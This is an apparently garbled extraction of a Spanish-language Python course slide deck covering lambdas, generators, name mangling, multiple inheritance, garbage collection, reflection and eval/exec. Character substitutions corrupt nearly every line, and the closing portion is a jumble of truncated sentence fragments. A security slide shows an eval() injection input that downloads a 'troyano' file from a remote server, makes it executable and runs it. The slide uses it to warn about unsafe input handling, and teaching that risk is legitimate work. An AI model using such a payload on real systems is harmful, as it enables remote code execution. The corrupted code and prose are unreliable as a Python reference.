hola mundo
<<< def f!(fun*ion:
&&& fun*ion(
<<< f!(puntero
hola mundo
"unciones especiales 4 II
Punteros a !todos
*lass 0:
def KKinitKK(self,nombre:
def f(self:
print "hola, soy",self&nombre
puntero B 0&f #puntero es un puntero al mGtodo, no es llamable sin m@s
a B 0("mi nombre" #para utiliYarlo, le tenemos >ue pasar una instan*ia
puntero(a #Me llama pas@ndole *omo self, a
print puntero #Ce he*ho, puntero es un unbound method de 0
#Si >uisieramos un mGtodo de 0 bounded a una instan*ia, tendr?amos >ue ha*er esto:
otroKpuntero B a&f #f de la instan*ia, no de la *lase
print otroKpuntero #Rste s? es un bound method
otroKpuntero( #W este s? es llamable
7a!bda
Co!o ya he!os visto en la seccin de

=UIs e.isten las &unciones lambda
Son &unciones anni!as
btiles por e(e!plo para eventos
lambda par@metros : resultado
Par!etros co!o sie!pre 3Zar's ZZLar's5
/o per!iten !s %ue una e.presin

<<< def de*irKunKnumero(numero:
&&& print =Poy a ha*er al'o en fun*iDn del nemero],numero
<<< import threadin'
<<< t B threadin'&;imer(!&4,lambda : de*irKunKnumero(4
<<< t&start(
<<< Poy a ha*er al'o en fun*iDn del nemero 4
Oield
=enerador auto!tico de iteradores

<<< def f(lista:
&&& for i in lista:
&&& print =Poy a devolver],i
&&& yield i
&&&
<<< for i in f(6AaA,AbA,A*A::
&&& print =Me ha devuelto],i
&&&
Poy a devolver a
Me ha devuelto a
Poy a devolver b
Me ha devuelto b
Poy a devolver *
Me ha devuelto *
Ker avanY/fun*iones/yield&py
Sobrecarga de operaciones 4 I
7as clases en Python tienen una serie de

!todos especiales %ue les sirve para
di&erentes tareas- 3avanY/*lases/operadores&py5
KKinitKK - constructor de clase
KKstrKK - si!ilar al toStrin' de Java o

;oStrin' de 1ono0,/E6
KKdo*KK - la docu!entacin %ue guarda!os

poniendo un string deba(o de la
&uncin0!dulo0etc,
KK'tKK, KKe>KK, KKltKK- se invocan cuando

alguien lla!a a instancia c otra 3o Z o Y,,,5
KKaddKK ,,,- otros operadores 3G 4,,,5

:culta!iento de in&or!acin
Por de&ecto un atributo es accesible-

<<< *lass 0:
&&& def KKinitKK(self:
&&& self&dato B 4
&&&
<<< a B 0(
<<< print a&dato
4
Co!o regla de estilo se pone d por delante de

la variable
Es igual %ue poner el atributo sin !s pero

co!o regla de estilo si pones 8d9 por delante
al acceder a una instancia es %ue 8no
deber#as9
:tra posibilidad es poner dos guiones

delante
Python interna!ente pondr KJombre8lase

delante del no!bre del atributo
Sigue siendo accesible
Si accedes a instan*ia&KJombre8laseKKdato
8seguro %ue sabes lo %ue ests haciendo9
+&ecta a las clases hi(as 3ta!poco pueden

acceder dircta!ente5
3Jame man'lin'5
avan$0clases0oculta!iento[,py
)Entonces sie!pre puedes acceder a

datos privados*
>eal!ente en los lengua(es :rientados a

:b(etos t#picos ta!bin puedes-
=racias a ello es posible la seriali$acin de

datos privados ya sea para ^C o bMM por
e(e!plo
E(e!plos en
/avanY/*lases/a**ediendoKprivadoKenKotr
osKlen'uaNes
+de!s de lo visto Python tiene otros

siste!as %ue pueden servir-
KK'etattrKK- En caso de %ue se intente

acceder a un ca!po 0 &uncin de una instancia
y el ca!po 0 &uncin no e.ista se lla!a a esta
&uncin-
E(e!plo en /avanY/*lases/o*ultamiento!&py
obNe*t-
/uestra clase hereda de obNe*t
KK'etattributeKK(self,nombre- se le lla!a
cuando alguien intenta acceder a cual%uier
cosa incluso si e.iste
KKsetattr(self,nombre,valor- se le lla!a
cuando alguien intenta !odi&icar cual%uier
cosa incluso si e.iste
Ker avanY/*lases/o*ultamiento/&py
@erencia !Fltiple
Python per!ite a una clase heredar de

!s de una clase a la ve$
Un proble!a clsico de este tipo de

herencia es el proble!a del dia!ante-
*lase 0"
metodo("$
$
*lase ^"
metodo("$
$
*lase 8 hiNa de *lases 0 y ^"$
* B instan*ia de 8(
*&metodo( #E0 >uiGn llamaH
@erencia !Fltiple
En CN y Java se evita
no per!itiendo %ue una clase herede de !s

de una clase
soportando su &uncionalidad !ediante

inter&aces
CGG s# per!it#a herencia de !s de

una clase
Se resolv#a en tie!po de co!pilacin

e.igiendo la ruta de la clase
avanY/*lases/heren*iaKmultiple&*pp
@erencia !Fltiple
Python no puede resolverlo en tie!po de

co!pilacin
7a solucin pasa por llevar una bFs%ueda en

pro&undidad sobre las clases de las %ue
hereda
@erencia !Fltiple
En el caso visto si se lla!a al !todo

8!etodo9 de la clase E se buscar
pri!ero en C %ue buscar en ; %ue
buscar en +, Si no se encuentra se
buscar en D
Por tanto no sie!pre es igual-

*lass R(8,C
%ue-
*lass R(C,8
avanY/*lases/heren*iaKmultiple&py
>ecoleccin de basura
7a recoleccin de basura es dependiente

de la i!ple!entacin de Python
Jython IronPython utili$arn los =C de Java

1ono0,/E6 etc,
/os centrare!os en el recolector de basura

de CPython
7a base para la liberacin de !e!oria

en Python es el contador de re&erencias
Por cada instancia hay un contador de

cuntas re&erencias hay a la instancia
Si el nF!ero de re&erencias llega a M la

instancia es eli!inada
Cuando una instancia es eli!inada se

lla!a a su !todo KKdelKK
Pode!os eli!inar una variable con del
I1P:>6+/6E- avanY/'*/referen*ias1&py
<<< *lass 0:
&&& def KKdelKK(self:
&&& print =Me muero!]
&&&
<<< a B 0( #a apunta a una instan*ia de 0
<<< a B 4 #0hora a apunta a otro lado: la instan*ia no es referen*iada y se elimina
Me muero!
<<< a B 0( #a apunta a otra instan*ia de 0
<<< del a #Rliminamos a& Wa no existe la referen*ia: la instan*ia se muere
Me muero!
Cuidado
del no e%uivale al delete de CGG-
Slo eli!ina una variable si otra variable est

re&erenciando a la !is!a instancia la
instancia no ser destruida
Proble!as- >e&erencias c#clicas
Si una instancia apunta a otra y es apuntada

por la !is!a los contadores de a!bas
instancias nunca llegarn a M
avanY/'*/referen*ias!&py
Cuidado
KKdelKK
+l igual %ue el finaliYe Java nadie puede

asegurar cundo KKdelKK ser invocado ni
si%uiera si ser o no invocado
/o debe ser utili$ado para la liberacin de

recursos
PC!o evitar proble!as con re&erencias

c#clicasS
/or!al!ente no son un proble!a
En los casos en los %ue s# lo sean se pueden

utili$ar %eaLrefs- avanY/'*/referen*ias/&py
>e&lection en Python
Pode!os e.plotar las capacidades

din!icas !ediante sus capacidades de
refle*tion
Podre!os dada una clase desconocida

cuando progra!a!os ver %u !todos tiene
dada una instancia invocarlos
din!ica!ente etc, etc,
Podre!os incluso reali$ar !odi&icaciones-
+adir 0 eli!inar &unciones din!ica!ente
Ca!biar tipos de datos
=enerar clases din!ica!ente
,,,
Python tiene grandes capacidades de

introspeccin
dir3!odulo 0 clase 0,,,5
7ista los atributos &unciones etc, %ue haya en

el !dulo 0 clase 0 etc,
'etattr3algono!bre5
:btiene algo,3valor de no!bre5 siendo

no!bre un strin'
#asattr3algono!bre5
Devuelve si 8algo9 tiene un 8no!bre9
avanY/refle*tion/refle*tion1&py
Pode!os ade!s !odi&icar los valores
setattr3algono!brevalor5
asigna!os 8valor9 a la variable 8no!bre9 de

8algo9
Si 8no!bre9 no e.iste lo crea
delattr3algono!bre5
borra!os la variable 8no!bre9 de 8algo9
avanY/refle*tion/refle*tion!&py
KKdi*tKK
6oda clase !dulo instancia,,, tienen

este ob(eto y por de&ecto es !odi&icable
En l se guardan las variables internas

asociadas a un no!bre
En el KKdi*tKK de una instancia se

guardan las variables de la instancia
!ientras %ue en el KKdi*tKK de la clase
los !todos y variables globales
avanY/refle*tion/refle*tion/&py
Co!o esta!os viendo podre!os ver y

!odi&icar din!ica!ente nuestras
estructuras &cil!ente
Co!o dec#a!os antes esto puede ser Ftil para

obtener in&or!acin de un !dulo %ue no
cono$ca!os !ientras progra!a!os 3para
seriali$arlo por e(e!plo5
Pode!os crear clases din!ica!ente %ue

tengan di&erentes co!porta!ientos segFn
unos par!etros y %ue todas las instancias de
esta clase tengan esos co!porta!ientos
!anteniendo integridad
Un largo etc,
+van$ando en Python
El KKdi*tKK es aplicable a !dulos,,,
Incluso al !dulo actual
De hecho las variables &unciones clases

locales no son !s %ue claves del
KKdi*tKK del !dulo actual
lo*als( 'lobals(
avanY/avanYando/avanYando1&py
Si todo son KKdi*tKKs Ppuedo poner

&unciones dentro de &unciones etcS
S#- avanY/avanYando/avanYando!&py
Instancias y clases
>elaciones entre instancia y clase-
Una instancia es de tipo instan*e
Una clase es de tipo *lassobN
El tipo instan*e es de tipo type
El tipo *lassobN es de tipo type
El tipo type es de tipo type
Una instancia sabe a %u clase pertenece

gracias a su atributo KK*lassKK %ue es
una re&erencia a la clase en s#
Instancias y clases
avanY/avanYando/avanYando/&py
avanY/avanYando/avanYando.&py
1s propiedades din!icas
E(ecucin din!ica de strin's
eval
&uncin por de&ecto evalFa una e.presin y

devuelve el resultado
Debe ser una e.presin una declaracin de

clase no la e(ecuta por e(e!plo
exe*
propiedad del lengua(e de&inida co!o si &uese

una &uncin
E(ecuta cdigo de un strin' &ichero u ob(eto

de cdigo
avanY/avanYando/avanYando4&py
Proble!as con estas
propiedades
6odas estas propiedades nos o&recen

una gran potencia-
Pode!os !etaprogra!ar- pode!os

progra!ar la generacin de cdigo
din!ica!ente para deter!inadas
circunstancias
En ocasiones especial!ente a%uellas en

las %ue se progra!a de !anera
relativa!ente !ecnica nos puede
ayudar !ucho
Sin e!bargo ta!bin trae proble!as

Proble!as con estas
propiedades
Proble!as
Ilegibilidad
al usar estas propiedades el cdigo se vuelve

!s co!ple(o !s di&#cil de leer entender y
!antener
Seguridad
debe!os validar todav#a !s la entrada de

in&or!acin ya %ue si un atacante consigue
inyectar cdigo nos est inyectando cdigo
Python dircta!ente
Proble!as con estas
propiedades
Proble!as
Seguridad
Por e(e!plo en el caso del tres en raya la

lectura de teclado hac#a esto-
s ' ra()input*+scrib& ..., +-
casillaCoords ' &.al*s- / int&rpr&ta la &ntrada como una tupla
Si el usuario escribe algo tal %ue-

open(A/tmp/troyanoA,A%A&%rite(KKimportKK(Aurllib!A&urlopen(Ahttp://servidor/troyano
A&read( or 1,KKimportKK(AosA&*hmod(A/tmp/troyanoA,2x144 or
KKimportKK(Apopen!A&popen/(A/tmp/troyanoA61:2: or 1
Es una e.presin correcta %ue devuelve una

tupla vlida 3[[5 %ue es interpretada co!o
una casilla pero %ue ade!s ha descargado
y e(ecutado un progra!a
Casos de .ito
ît;orrent siste!a -!-
`T-R 3222,$ope,org5 servidor de aplicaciones para

construir y gestionar contenido intranets portales y
aplicaciones propietarias
Qndustrial Mi'ht f Ma'i* usa Python en el proceso de

produccin de gr&icos por ordenador
7J9 Mailman el popular gestor de listas de correo

electrnico est escrito en Python
7oo'le usa interna!ente Python lo !is!o %ue Wahoo
Diversas distribuciones de =/U07inu. utili$an Python

para con&iguracin gestin de pa%uetes etc,
>e&erencias
6ransparencias de Python de Diego 7pe$ de Ipia
http-00paginaspersonales,deusto,es0dipina0
6ransparencias de Python de Pablo :rdua de Julio

TMM\
http-00nctrun,e4ghost,net0
7ibro 8Dive into Python9
http-00diveintopython,org
Est ba(o licencia =/U "D7 disponible incluso en apt4get
7ibro 8Python Progra!!ing Patterns9 3Prentice @all5
http-00vig,prenhall,co!0catalog0acade!ic0product0[UM_LM[^MUM_\L[MM,ht!l
7ibro 8Progra!!ing Python9

http-00222,oreilly,co!0catalog0pythonT0
7ibro 8Jython essentials9

http-00222,oreilly,co!0catalog0(ythoness0
Docu!entacin de Python- http-00docs,python,org

Intro Python

Cargado por

Información del documento

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Intro Python

Cargado por

Copyright:

Formatos disponibles

Arkaitz Ruiz y Pablo Ordua

El cursillo est entre los Cursillos de Julio de los grupos

Desde hace varios aos alu!nos y alu!nas de la "acultad de Ingenier#a de la

Cuenta con el apoyo de pro&esores y de la "acultad de Ingenier#a ' ESIDE %ue

"iloso&#a de los cursillos

En consecuencia- En un cursillo se abarcan la !.i!a cantidad de te!as en el !#ni!o

Cursillos introductorios no e.haustivos

1s in&or!acin sobre los Cursillos de Julio

Este concreta!ente se da desde el grupo de so&t2are libre de la

6anto las transparencias co!o !uchos de

En los e(e!plos hay una carpeta

+spectos !s avan$ados de Python

Python &ue creado por =uido van >ossu!

Da este no!bre al lengua(e inspirado por

=uido cre Python durante unas

1uy legible y elegante

I!posible escribir cdigo o&uscado

1ini!alista- todo a%uello innecesario no hay %ue

1uy denso- poco cdigo hace !ucho

Soporta ob(etos y estructuras de datos de alto nivel-

1Fltiples niveles de organi$ar cdigo- &unciones

Python standard library 3

Si hay reas %ue son lentas se pueden ree!pla$ar por

/o tienes %ue declarar constantes y variables antes de

/o re%uiere paso de co!pilacin0linIage

7a pri!era ve$ %ue se e(ecuta un script de Python se

+lta velocidad de desarrollo y buen rendi!iento

Cdigo interoperable 3co!o en Java J2rite once run

Se puede utili$ar en !Fltiples plata&or!a 3!s aFn %ue

Puedes incluso e(ecutar Python dentro de una JK1

>a$n por la cual la Python 7ibrary sigue creciendo

Puedes hacer en Python todo lo %ue puedes hacer con CN o

Python usa tabulacin 3o espaciado5 para

6abula una ve$ para indicar co!ien$o de blo%ue

Des4tabula para indicar el &inal del blo%ue

Java es un lengua(e de progra!acin !uy

+!plio abanico de tipos de datos

Soporte para threads

Python es un lengua(e de scripting-

/o o&rece tipado esttico

;ueno para prototipos pero !alo para grandes

Puede cascar en tie!po de e(ecucin

6odo lo %ue puedes hacer con Java ta!bin lo

Incluso puedes acceder a travs de Python a las +PI de

Python no es el lengua(e per&ecto no es bueno

Progra!acin de ba(o nivel 3syste!4progra!!ing5 co!o

Python es de de!asiado alto nivel no hay control directo

+plicaciones %ue re%uieren alta capacidad de co!puto

/o hay nada !e(or para este tipo de aplicaciones %ue el vie(o

Co!o lengua(e Jpega!entoJ para co!binar varios

Para llevar a cabo prototipos de siste!a

Para la elaboracin de aplicaciones cliente

Para desarrollo 2eb y de siste!as distribuidos

Para el desarrollo de tareas cient#&icas en los %ue hay

;a(ar la Flti!a versin de Python 3T,U5 de

Para Hindo2s e(ecutar instalador

En Debian Sarge- apt('et install python

Para "edora y 1andraIe se pueden obtener los rp!s

Para arrancar el intrprete 3Python interactivo5 e(ecutar-

Para salir del intrprete Ctrl4D 3en 7inu.5 o Ctrl4V 3en

Python desde script-

=uardar las siguientes sentencias en &ichero-

E(ecutar el script desde l#nea de co!ando-

7as sentencias acaban en nueva l#nea no en #

and assert breaL lass ontinue def del elif else

Escribir un &ichero 3esribirfihero&py5